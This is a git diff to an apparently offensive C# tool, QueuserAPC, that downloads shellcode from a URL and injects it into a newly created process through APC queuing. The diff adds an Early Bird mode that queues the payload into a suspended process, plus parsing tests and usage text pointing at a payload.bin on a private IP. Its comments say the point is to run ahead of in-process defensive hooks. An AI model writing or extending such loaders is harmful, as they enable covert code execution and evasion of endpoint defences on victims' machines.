diff --git a/QueuserAPC.Tests/ProgramTests.cs b/QueuserAPC.Tests/ProgramTests.cs
index 5ee3ebb..45ef85c 100644
--- a/QueuserAPC.Tests/ProgramTests.cs
+++ b/QueuserAPC.Tests/ProgramTests.cs
@@ -66,4 +66,37 @@ public void ParseUseNt_FlagCaseInsensitive_ReturnsTrue()
     {
         Assert.True(Program.ParseUseNt(["--NT", "http://192.168.1.10/payload.bin"]));
     }
+
+    // --- ParseUseEarlyBird ---
+
+    [Fact]
+    public void ParseUseEarlyBird_NoFlag_ReturnsFalse()
+    {
+        Assert.False(Program.ParseUseEarlyBird(["http://192.168.1.10/payload.bin"]));
+    }
+
+    [Fact]
+    public void ParseUseEarlyBird_WithFlag_ReturnsTrue()
+    {
+        Assert.True(Program.ParseUseEarlyBird(["--early-bird", "http://192.168.1.10/payload.bin"]));
+    }
+
+    [Fact]
+    public void ParseUseEarlyBird_FlagCaseInsensitive_ReturnsTrue()
+    {
+        Assert.True(Program.ParseUseEarlyBird(["--EARLY-BIRD", "http://192.168.1.10/payload.bin"]));
+    }
+
+    [Fact]
+    public void ParseUrl_EarlyBirdFlagSkipped_ReturnsUrl()
+    {
+        const string url = "http://192.168.1.10/payload.bin";
+        Assert.Equal(url, Program.ParseUrl(["--early-bird", url]));
+    }
+
+    [Fact]
+    public void ParseUseNt_NotSetWhenEarlyBirdPresent()
+    {
+        Assert.False(Program.ParseUseNt(["--early-bird", "http://192.168.1.10/payload.bin"]));
+    }
 }
diff --git a/QueuserAPC/Program.cs b/QueuserAPC/Program.cs
index d569325..2b43f15 100644
--- a/QueuserAPC/Program.cs
+++ b/QueuserAPC/Program.cs
@@ -13,7 +13,7 @@ internal static string ParseUrl(string[] args)
             if (args.Length < 1)
                 throw new ArgumentException("Shellcode URL is required.");
 
-            // Skip --nt flag when looking for the URL
+            // Skip --nt / --early-bird flags when looking for the URL
             var url = Array.Find(args, a => !a.StartsWith("--"))
                       ?? throw new ArgumentException("Shellcode URL is required.");
 
@@ -31,24 +31,41 @@ internal static string ParseUrl(string[] args)
         internal static bool ParseUseNt(string[] args) =>
             Array.Exists(args, a => a.Equals("--nt", StringComparison.OrdinalIgnoreCase));
 
+        /// <summary>
+        /// Returns true when the <c>--early-bird</c> flag is present, selecting the
+        /// Early Bird APC technique: shellcode is queued via <see cref="Win32.QueueUserAPC"/>
+        /// into a process created with <c>CREATE_SUSPENDED</c> before its primary thread has
+        /// executed any user-mode code.  Because a newly created suspended thread begins in an
+        /// alertable state, the APC fires immediately on <see cref="Win32.ResumeThread"/>,
+        /// before the process entry point runs.
+        /// </summary>
+        internal static bool ParseUseEarlyBird(string[] args) =>
+            Array.Exists(args, a => a.Equals("--early-bird", StringComparison.OrdinalIgnoreCase));
+
         static async Task Main(string[] args)
         {
             string shellcodeUrl;
             bool useNt;
+            bool useEarlyBird;
             try
             {
                 shellcodeUrl = ParseUrl(args);
                 useNt = ParseUseNt(args);
+                useEarlyBird = ParseUseEarlyBird(args);
             }
             catch (ArgumentException ex)
             {
                 Console.Error.WriteLine($"Error: {ex.Message}");
-                Console.Error.WriteLine("Usage: QueuserAPC [--nt] <shellcode-url>");
+                Console.Error.WriteLine("Usage: QueuserAPC [--nt | --early-bird] <shellcode-url>");
                 Console.Error.WriteLine("  e.g. QueuserAPC https://192.168.1.10/payload.bin");
                 Console.Error.WriteLine("       QueuserAPC --nt https://192.168.1.10/payload.bin");
+                Console.Error.WriteLine("       QueuserAPC --early-bird https://192.168.1.10/payload.bin");
                 Console.Error.WriteLine();
                 Console.Error.WriteLine("Flags:");
-                Console.Error.WriteLine("  --nt   Use NtQueueApcThread (ntdll) instead of QueueUserAPC (kernel32)");
+                Console.Error.WriteLine("  --nt           Use NtQueueApcThread (ntdll) instead of QueueUserAPC (kernel32)");
+                Console.Error.WriteLine("  --early-bird   Early Bird APC: queue shellcode into a CREATE_SUSPENDED process");
+                Console.Error.WriteLine("                 before its primary thread executes any user-mode code.");
+                Console.Error.WriteLine("                 The APC fires on ResumeThread, ahead of the entry point.");
                 Environment.Exit(1);
                 return;
             }
@@ -115,9 +132,27 @@ static async Task Main(string[] args)
                 out _);
 
             if (useNt)
+            {
+                // NtQueueApcThread (ntdll) — does not require the target thread to be in an
+                // alertable wait state; useful against running threads that may never enter one.
                 Win32.NtQueueApcThread(pi.hThread, baseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
+            }
+            else if (useEarlyBird)
+            {
+                // Early Bird APC — process was created with CREATE_SUSPENDED so the primary
+                // thread has not yet executed any user-mode code.  A newly created suspended
+                // thread begins in an alertable state, so QueueUserAPC fires immediately when
+                // ResumeThread is called, before the process entry point runs.  This gives the
+                // shellcode a head start over any in-process defensive hooks loaded via the
+                // normal DLL initialisation sequence.
+                Win32.QueueUserAPC(baseAddress, pi.hThread, 0);
+            }
             else
+            {
+                // Standard QueueUserAPC (kernel32) — queues an APC to the target thread.
+                // Requires the thread to enter an alertable wait (e.g. SleepEx, WaitForSingleObjectEx).
                 Win32.QueueUserAPC(baseAddress, pi.hThread, 0);
+            }
 
             Win32.ResumeThread(pi.hThread);
         }